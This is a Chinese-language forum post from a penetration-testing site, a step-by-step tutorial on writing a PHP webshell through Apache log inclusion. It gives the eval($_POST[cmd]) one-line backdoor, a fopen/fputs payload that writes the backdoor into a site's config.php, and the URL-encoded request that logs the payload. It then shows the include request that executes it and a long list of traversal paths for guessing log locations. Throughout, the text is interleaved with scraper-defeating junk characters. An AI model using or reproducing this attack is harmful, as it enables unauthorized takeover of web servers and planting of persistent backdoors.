中国网络渗透测试联盟

标题: php包含apache日志写马 [打印本页]
作者: admin    时间: 2012-9-15 14:27
标题: php包含apache日志写马
因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
9 ~. l% G; q5 @) H. e7 v* U2 P6 ?! _( L  Y1 ^( z
比如还是这句一句话木马 $ v5 F" g" s" i6 {1 u/ \
<?eval($_POST[cmd]);?>   
  n2 T6 {0 V# T7 w( w/ \% E: N; u* f3 Z3 P, e, A
到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句， ) `0 x) \1 ?! R, Z" }$ `
fopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
1 E$ H% r3 L3 ?5 `
- @- S; D  A9 E4 Q<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
# x& E4 v4 j& j' ^fclose($fp);?>   //在config.php里写入一句木马语句 - U7 ~; F5 d  r# u  P
; q6 h# K7 j4 q! x% ]+ A# a
我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。 % t+ ]) i  ?4 J
转换为   A5 _, v1 a) j/ G* ~6 M
%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
- S! e6 [7 F4 g! x4 Y% p3 Dconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp ( G# K, x3 Q  i5 I  R/ e
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
3 k1 q( C6 R0 b( A4 g$ Dfclose%28%24fp%29%3B%3F%3E - v0 v8 y8 _# l
我们提交 - b2 k: X! L' C- D
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww 5 ]- z8 E( p' g5 [8 G' E
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp ) b5 D) a) b0 S* t# |3 H
%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B - E1 d* c& P; N) q; s
cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E 0 V2 w: ?6 |+ N# _, a% w( M

5 i5 v8 J8 S' v! |  z& b这样就错误日志里就记录下了这行写入webshell的代码。
, ^0 B" N; E0 e4 U$ V% p我们再来包含日志，提交
% b* X- v! \6 f+ h' _9 e4 Whttp://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
  p1 V: U; i( ~; a
. q4 j* f( t0 x/ J8 U这样webshell就写入成功了，config.php里就写入一句木马语句
* t. _3 \/ K3 @. X6 ^OK.
6 X( Z/ n; {' [' ihttp://www.xxx.com/forum/config.php这个就成了我们的webshell
) {, U% U8 h  Y. A" W1 A5 S2 E4 Q直接用lanker的客户端一连，主机就是你的了。 / w( }3 P8 W' r8 R& [& z. b

6 i6 y6 a& Q6 ~4 a9 S& tPS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用 8 [) z) x( l# j5 c" x( Y# ~( S: l" ^+ H9 }

, H6 g6 e3 n' S其他的日志路径，你可以去猜，也可以参照这里。 ) l4 ^6 @0 K; y
../../../../../../../../../../var/log/httpd/access_log
. v1 S) e! D6 Z9 V. ]../../../../../../../../../../var/log/httpd/error_log
% H/ h5 h( T) y7 a../apache/logs/error.log . y; q& O# C' A# ]9 Y
../apache/logs/access.log ! u+ @( v; U9 z$ _/ F) O0 G
../../apache/logs/error.log
/ F3 r3 D& D% P0 U8 p../../apache/logs/access.log
% @% q! R6 D0 m4 t/ U3 `* o../../../apache/logs/error.log
" g# X6 g, v" Y5 i. n( Y$ F../../../apache/logs/access.log
4 Q$ f& {$ c5 ~4 Z0 m../../../../../../../../../../etc/httpd/logs/acces_log   S1 u& y9 {. H; {
../../../../../../../../../../etc/httpd/logs/acces.log
% ~9 d# @+ G$ [1 X* E../../../../../../../../../../etc/httpd/logs/error_log
, D; p8 }/ C" N- _4 C7 ~" M2 L../../../../../../../../../../etc/httpd/logs/error.log
; {0 \5 d2 U4 v5 l7 l../../../../../../../../../../var/www/logs/access_log & N1 S1 x4 P8 r& m2 o$ K
../../../../../../../../../../var/www/logs/access.log 5 @) b7 T, D6 m% ]$ _+ D. P
../../../../../../../../../../usr/local/apache/logs/access_log ! v0 L9 a" {9 m$ o2 U! X5 G
../../../../../../../../../../usr/local/apache/logs/access.log
7 u* v4 }* J8 I../../../../../../../../../../var/log/apache/access_log
) a" U0 F! }0 v+ ]../../../../../../../../../../var/log/apache/access.log
7 r; j$ D- C, I; A5 g% \../../../../../../../../../../var/log/access_log
- e  D6 l) ^- |; l# z../../../../../../../../../../var/www/logs/error_log
1 q! ?2 O" ^- J% a; q& `0 n../../../../../../../../../../var/www/logs/error.log
6 O9 H! ^6 }& r' C( v' w../../../../../../../../../../usr/local/apache/logs/error_log 7 b. ?8 H8 z. w) g8 m' v4 t
../../../../../../../../../../usr/local/apache/logs/error.log   i# m5 S0 x0 }. o5 N" r; A
../../../../../../../../../../var/log/apache/error_log
( ?& M1 ?% S. z& U$ {3 p6 ?../../../../../../../../../../var/log/apache/error.log $ C, K' C$ N$ E' u# T# S0 ]& z  j! D
../../../../../../../../../../var/log/access_log
: s3 n$ ?7 G# H7 s! n../../../../../../../../../../var/log/error_log
/ l' X$ l! |% Q% Y7 K8 h/var/log/httpd/access_log       & U% k' ~' v0 p0 s8 t
/var/log/httpd/error_log     2 S1 y" c4 q* c5 s2 U0 y
../apache/logs/error.log     
9 {/ D# f9 G, S) w' w4 A( E../apache/logs/access.log
8 r! [; c. f$ b: u) N- }../../apache/logs/error.log 0 \* E2 F( |1 q3 e3 H
../../apache/logs/access.log
) i- V! {. @% e/ S# l../../../apache/logs/error.log
! o. d# J! r2 G" ~* g! @) i' F../../../apache/logs/access.log
; T; N; C7 C7 b" k+ I( [/etc/httpd/logs/acces_log
+ t' B  [2 L. e/ M/etc/httpd/logs/acces.log 8 ]1 F% u6 F) E" W/ q5 ?
/etc/httpd/logs/error_log
. C* W/ v/ {8 Z* ]9 G1 U/etc/httpd/logs/error.log
* G1 N4 g" n6 q( y( A/var/www/logs/access_log
: M8 m, n5 {4 K) R# M% s/var/www/logs/access.log
6 r5 L7 V3 a6 ?1 I/usr/local/apache/logs/access_log
. D. T7 G' _# q& Z5 s/usr/local/apache/logs/access.log
1 ?; a" G" r: e5 H" P- F  o# D/var/log/apache/access_log
! f4 D4 `9 X! E6 p- T$ b" t$ w/var/log/apache/access.log
# ^7 G' R  _- t- ]/var/log/access_log
0 Q+ U/ L6 B+ m: c; w5 d/var/www/logs/error_log 1 v+ K" {$ I3 B6 O6 @: i
/var/www/logs/error.log , t. M' N- J' S
/usr/local/apache/logs/error_log 6 ?* }8 T$ f  k
/usr/local/apache/logs/error.log
6 |5 S4 \0 i; L9 U( w2 w* l/var/log/apache/error_log
( H0 u7 b" c$ a/var/log/apache/error.log 8 ^) K" K+ m8 d' L# K, L0 k( L
/var/log/access_log
- c1 O& {( R( t& }8 s/var/log/error_log



欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2